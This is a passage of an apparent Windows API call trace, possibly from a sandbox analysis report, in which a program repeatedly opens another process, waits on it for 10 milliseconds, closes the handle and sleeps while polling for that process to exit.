CloseHandle (hObject=0x1474) returned 1 [0274.821] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.821] Sleep (dwMilliseconds=0x1) [0274.837] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1474 [0274.837] WaitForSingleObject (hHandle=0x1474, dwMilliseconds=0xa) returned 0x102 [0274.853] CloseHandle (hObject=0x1474) returned 1 [0274.853] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.853] Sleep (dwMilliseconds=0x1) [0274.868] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1474 [0274.868] WaitForSingleObject (hHandle=0x1474, dwMilliseconds=0xa) returned 0x102 [0274.884] CloseHandle (hObject=0x1474) returned 1 [0274.884] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.884] Sleep (dwMilliseconds=0x1) [0274.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1488 [0274.902] WaitForSingleObject (hHandle=0x1488, dwMilliseconds=0xa) returned 0x102 [0274.915] CloseHandle (hObject=0x1488) returned 1 [0274.915] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.915] Sleep (dwMilliseconds=0x1) [0274.930] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14a0 [0274.931] WaitForSingleObject (hHandle=0x14a0, dwMilliseconds=0xa) returned 0x102 [0274.946] CloseHandle (hObject=0x14a0) returned 1 [0274.946] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.946] Sleep (dwMilliseconds=0x1) [0274.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14a4 [0274.976] WaitForSingleObject (hHandle=0x14a4, dwMilliseconds=0xa) returned 0x102 [0274.978] CloseHandle (hObject=0x14a4) returned 1 [0274.978] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.978] Sleep (dwMilliseconds=0x1) [0274.994] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14ac [0274.994] WaitForSingleObject (hHandle=0x14ac, dwMilliseconds=0xa) returned 0x102 [0275.009] CloseHandle (hObject=0x14ac) returned 1 [0275.009] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.009] Sleep (dwMilliseconds=0x1) [0275.024] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14ac [0275.024] WaitForSingleObject (hHandle=0x14ac, dwMilliseconds=0xa) returned 0x102 [0275.043] CloseHandle (hObject=0x14ac) returned 1 [0275.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.043] Sleep (dwMilliseconds=0x1) [0275.057] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14ac [0275.057] WaitForSingleObject (hHandle=0x14ac, dwMilliseconds=0xa) returned 0x102 [0275.086] CloseHandle (hObject=0x14ac) returned 1 [0275.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.086] Sleep (dwMilliseconds=0x1) [0275.103] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14cc [0275.103] WaitForSingleObject (hHandle=0x14cc, dwMilliseconds=0xa) returned 0x102 [0275.118] CloseHandle (hObject=0x14cc) returned 1 [0275.118] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.118] Sleep (dwMilliseconds=0x1) [0275.142] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x14fc [0275.142] WaitForSingleObject (hHandle=0x14fc, dwMilliseconds=0xa) returned 0x102 [0275.152] CloseHandle (hObject=0x14fc) returned 1 [0275.152] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.152] Sleep (dwMilliseconds=0x1) [0275.165] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x152c [0275.165] WaitForSingleObject (hHandle=0x152c, dwMilliseconds=0xa) returned 0x102 [0275.181] CloseHandle (hObject=0x152c) returned 1 [0275.181] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.181] Sleep (dwMilliseconds=0x1) [0275.198] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1534 [0275.198] WaitForSingleObject (hHandle=0x1534, dwMilliseconds=0xa) returned 0x102 [0275.225] CloseHandle (hObject=0x1534) returned 1 [0275.225] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.225] Sleep (dwMilliseconds=0x1) [0275.229] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x156c [0275.229] WaitForSingleObject (hHandle=0x156c, dwMilliseconds=0xa) returned 0x102 [0275.243] CloseHandle (hObject=0x156c) returned 1 [0275.243] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.243] Sleep (dwMilliseconds=0x1) [0275.261] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x15b0 [0275.261] WaitForSingleObject (hHandle=0x15b0, dwMilliseconds=0xa) returned 0x102 [0275.275] CloseHandle (hObject=0x15b0) returned 1 [0275.276] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.276] Sleep (dwMilliseconds=0x1) [0275.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x15e4 [0275.290] WaitForSingleObject (hHandle=0x15e4, dwMilliseconds=0xa) returned 0x102 [0275.306] CloseHandle (hObject=0x15e4) returned 1 [0275.306] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.306] Sleep (dwMilliseconds=0x1) [0275.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x15e4 [0275.321] WaitForSingleObject (hHandle=0x15e4, dwMilliseconds=0xa) returned 0x102 [0275.337] CloseHandle (hObject=0x15e4) returned 1 [0275.337] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.337] Sleep (dwMilliseconds=0x1) [0275.353] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1618 [0275.353] WaitForSingleObject (hHandle=0x1618, dwMilliseconds=0xa) returned 0x102 [0275.371] CloseHandle (hObject=0x1618) returned 1 [0275.371] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.371] Sleep (dwMilliseconds=0x1) [0275.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x163c [0275.385] WaitForSingleObject (hHandle=0x163c, dwMilliseconds=0xa) returned 0x102 [0275.399] CloseHandle (hObject=0x163c) returned 1 [0275.399] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.399] Sleep (dwMilliseconds=0x1) [0275.415] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x163c [0275.415] WaitForSingleObject (hHandle=0x163c, dwMilliseconds=0xa) returned 0x102 [0275.431] CloseHandle (hObject=0x163c) returned 1 [0275.431] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.431] Sleep (dwMilliseconds=0x1) [0275.446] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x163c [0275.446] WaitForSingleObject (hHandle=0x163c, dwMilliseconds=0xa) returned 0x102 [0275.462] CloseHandle (hObject=0x163c) returned 1 [0275.462] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.462] Sleep (dwMilliseconds=0x1) [0275.478] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x163c [0275.478] WaitForSingleObject (hHandle=0x163c, dwMilliseconds=0xa) returned 0x102 [0275.493] CloseHandle (hObject=0x163c) returned 1 [0275.493] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.493] Sleep (dwMilliseconds=0x1) [0275.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1664 [0275.512] WaitForSingleObject (hHandle=0x1664, dwMilliseconds=0xa) returned 0x102 [0275.525] CloseHandle (hObject=0x1664) returned 1 [0275.525] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.525] Sleep (dwMilliseconds=0x1) [0275.540] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1664 [0275.540] WaitForSingleObject (hHandle=0x1664, dwMilliseconds=0xa) returned 0x102 [0275.558] CloseHandle (hObject=0x1664) returned 1 [0275.558] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.558] Sleep (dwMilliseconds=0x1) [0275.571] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16a0 [0275.571] WaitForSingleObject (hHandle=0x16a0, dwMilliseconds=0xa) returned 0x102 [0275.587] CloseHandle (hObject=0x16a0) returned 1 [0275.587] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.587] Sleep (dwMilliseconds=0x1) [0275.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16a0 [0275.603] WaitForSingleObject (hHandle=0x16a0, dwMilliseconds=0xa) returned 0x102 [0275.618] CloseHandle (hObject=0x16a0) returned 1 [0275.618] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.618] Sleep (dwMilliseconds=0x1) [0275.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16b4 [0275.634] WaitForSingleObject (hHandle=0x16b4, dwMilliseconds=0xa) returned 0x102 [0275.651] CloseHandle (hObject=0x16b4) returned 1 [0275.651] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.651] Sleep (dwMilliseconds=0x1) [0275.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16b4 [0275.666] WaitForSingleObject (hHandle=0x16b4, dwMilliseconds=0xa) returned 0x102 [0275.681] CloseHandle (hObject=0x16b4) returned 1 [0275.681] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.681] Sleep (dwMilliseconds=0x1) [0275.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16d4 [0275.696] WaitForSingleObject (hHandle=0x16d4, dwMilliseconds=0xa) returned 0x102 [0275.712] CloseHandle (hObject=0x16d4) returned 1 [0275.712] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.712] Sleep (dwMilliseconds=0x1) [0275.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16dc [0275.728] WaitForSingleObject (hHandle=0x16dc, dwMilliseconds=0xa) returned 0x102 [0275.753] CloseHandle (hObject=0x16dc) returned 1 [0275.753] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.753] Sleep (dwMilliseconds=0x1) [0275.759] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16dc [0275.759] WaitForSingleObject (hHandle=0x16dc, dwMilliseconds=0xa) returned 0x102 [0275.774] CloseHandle (hObject=0x16dc) returned 1 [0275.774] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.775] Sleep (dwMilliseconds=0x1) [0275.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16fc [0275.793] WaitForSingleObject (hHandle=0x16fc, dwMilliseconds=0xa) returned 0x102 [0275.806] CloseHandle (hObject=0x16fc) returned 1 [0275.806] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.806] Sleep (dwMilliseconds=0x1) [0275.823] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x16fc [0275.823] WaitForSingleObject (hHandle=0x16fc, dwMilliseconds=0xa) returned 0x102 [0275.844] CloseHandle (hObject=0x16fc) returned 1 [0275.844] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.845] Sleep (dwMilliseconds=0x1) [0275.854] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1714 [0275.854] WaitForSingleObject (hHandle=0x1714, dwMilliseconds=0xa) returned 0x102 [0275.870] CloseHandle (hObject=0x1714) returned 1 [0275.870] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.870] Sleep (dwMilliseconds=0x1) [0275.884] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1720 [0275.884] WaitForSingleObject (hHandle=0x1720, dwMilliseconds=0xa) returned 0x102 [0275.895] CloseHandle (hObject=0x1720) returned 1 [0275.895] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.895] Sleep (dwMilliseconds=0x1) [0275.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1720 [0275.897] WaitForSingleObject (hHandle=0x1720, dwMilliseconds=0xa) returned 0x102 [0275.907] CloseHandle (hObject=0x1720) returned 1 [0275.907] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.907] Sleep (dwMilliseconds=0x1) [0275.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1720 [0275.908] WaitForSingleObject (hHandle=0x1720, dwMilliseconds=0xa) returned 0x102 [0275.918] CloseHandle (hObject=0x1720) returned 1 [0275.918] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.918] Sleep (dwMilliseconds=0x1) [0275.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1720 [0275.920] WaitForSingleObject (hHandle=0x1720, dwMilliseconds=0xa) returned 0x102 [0275.944] CloseHandle (hObject=0x1720) returned 1 [0275.944] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.944] Sleep (dwMilliseconds=0x1) [0275.960] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1720 [0275.960] WaitForSingleObject (hHandle=0x1720, dwMilliseconds=0xa) returned 0x102 [0275.979] CloseHandle (hObject=0x1720) returned 1 [0275.979] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0275.979] Sleep (dwMilliseconds=0x1) [0275.994] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1744 [0275.994] WaitForSingleObject (hHandle=0x1744, dwMilliseconds=0xa) returned 0x102 [0276.008] CloseHandle (hObject=0x1744) returned 1 [0276.008] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.008] Sleep (dwMilliseconds=0x1) [0276.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1770 [0276.023] WaitForSingleObject (hHandle=0x1770, dwMilliseconds=0xa) returned 0x102 [0276.048] CloseHandle (hObject=0x1770) returned 1 [0276.048] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.048] Sleep (dwMilliseconds=0x1) [0276.055] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x17b0 [0276.055] WaitForSingleObject (hHandle=0x17b0, dwMilliseconds=0xa) returned 0x102 [0276.069] CloseHandle (hObject=0x17b0) returned 1 [0276.069] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.069] Sleep (dwMilliseconds=0x1) [0276.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x17cc [0276.074] WaitForSingleObject (hHandle=0x17cc, dwMilliseconds=0xa) returned 0x102 [0276.094] CloseHandle (hObject=0x17cc) returned 1 [0276.094] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.094] Sleep (dwMilliseconds=0x1) [0276.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x180c [0276.107] WaitForSingleObject (hHandle=0x180c, dwMilliseconds=0xa) returned 0x102 [0276.128] CloseHandle (hObject=0x180c) returned 1 [0276.128] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.128] Sleep (dwMilliseconds=0x1) [0276.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x180c [0276.139] WaitForSingleObject (hHandle=0x180c, dwMilliseconds=0xa) returned 0x102 [0276.153] CloseHandle (hObject=0x180c) returned 1 [0276.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.153] Sleep (dwMilliseconds=0x1) [0276.171] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x182c [0276.171] WaitForSingleObject (hHandle=0x182c, dwMilliseconds=0xa) returned 0x102 [0276.188] CloseHandle (hObject=0x182c) returned 1 [0276.188] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.189] Sleep (dwMilliseconds=0x1) [0276.206] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x183c [0276.206] WaitForSingleObject (hHandle=0x183c, dwMilliseconds=0xa) returned 0x102 [0276.216] CloseHandle (hObject=0x183c) returned 1 [0276.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.216] Sleep (dwMilliseconds=0x1) [0276.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x183c [0276.233] WaitForSingleObject (hHandle=0x183c, dwMilliseconds=0xa) returned 0x102 [0276.247] CloseHandle (hObject=0x183c) returned 1 [0276.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.247] Sleep (dwMilliseconds=0x1) [0276.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x183c [0276.263] WaitForSingleObject (hHandle=0x183c, dwMilliseconds=0xa) returned 0x102 [0276.281] CloseHandle (hObject=0x183c) returned 1 [0276.281] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.281] Sleep (dwMilliseconds=0x1) [0276.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x185c [0276.294] WaitForSingleObject (hHandle=0x185c, dwMilliseconds=0xa) returned 0x102 [0276.310] CloseHandle (hObject=0x185c) returned 1 [0276.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.310] Sleep (dwMilliseconds=0x1) [0276.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x185c [0276.325] WaitForSingleObject (hHandle=0x185c, dwMilliseconds=0xa) returned 0x102 [0276.341] CloseHandle (hObject=0x185c) returned 1 [0276.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.341] Sleep (dwMilliseconds=0x1) [0276.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1874 [0276.364] WaitForSingleObject (hHandle=0x1874, dwMilliseconds=0xa) returned 0x102 [0276.372] CloseHandle (hObject=0x1874) returned 1 [0276.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.372] Sleep (dwMilliseconds=0x1) [0276.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1874 [0276.388] WaitForSingleObject (hHandle=0x1874, dwMilliseconds=0xa) returned 0x102 [0276.403] CloseHandle (hObject=0x1874) returned 1 [0276.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.403] Sleep (dwMilliseconds=0x1) [0276.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1874 [0276.419] WaitForSingleObject (hHandle=0x1874, dwMilliseconds=0xa) returned 0x102 [0276.434] CloseHandle (hObject=0x1874) returned 1 [0276.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.434] Sleep (dwMilliseconds=0x1) [0276.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1874 [0276.450] WaitForSingleObject (hHandle=0x1874, dwMilliseconds=0xa) returned 0x102 [0276.467] CloseHandle (hObject=0x1874) returned 1 [0276.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.467] Sleep (dwMilliseconds=0x1) [0276.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1890 [0276.482] WaitForSingleObject (hHandle=0x1890, dwMilliseconds=0xa) returned 0x102 [0276.497] CloseHandle (hObject=0x1890) returned 1 [0276.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.497] Sleep (dwMilliseconds=0x1) [0276.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18a8 [0276.513] WaitForSingleObject (hHandle=0x18a8, dwMilliseconds=0xa) returned 0x102 [0276.528] CloseHandle (hObject=0x18a8) returned 1 [0276.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.528] Sleep (dwMilliseconds=0x1) [0276.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18a8 [0276.544] WaitForSingleObject (hHandle=0x18a8, dwMilliseconds=0xa) returned 0x102 [0276.560] CloseHandle (hObject=0x18a8) returned 1 [0276.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0276.560] Sleep (dwMilliseconds=0x1) [0276.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x18b4 [0276.575] WaitForSingleObject (hHandle=0x18b4, dwMilliseconds=0xa) returned 0x102 [0276.591] CloseHandle (hObject=0x18b4) returned 1 [0276.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 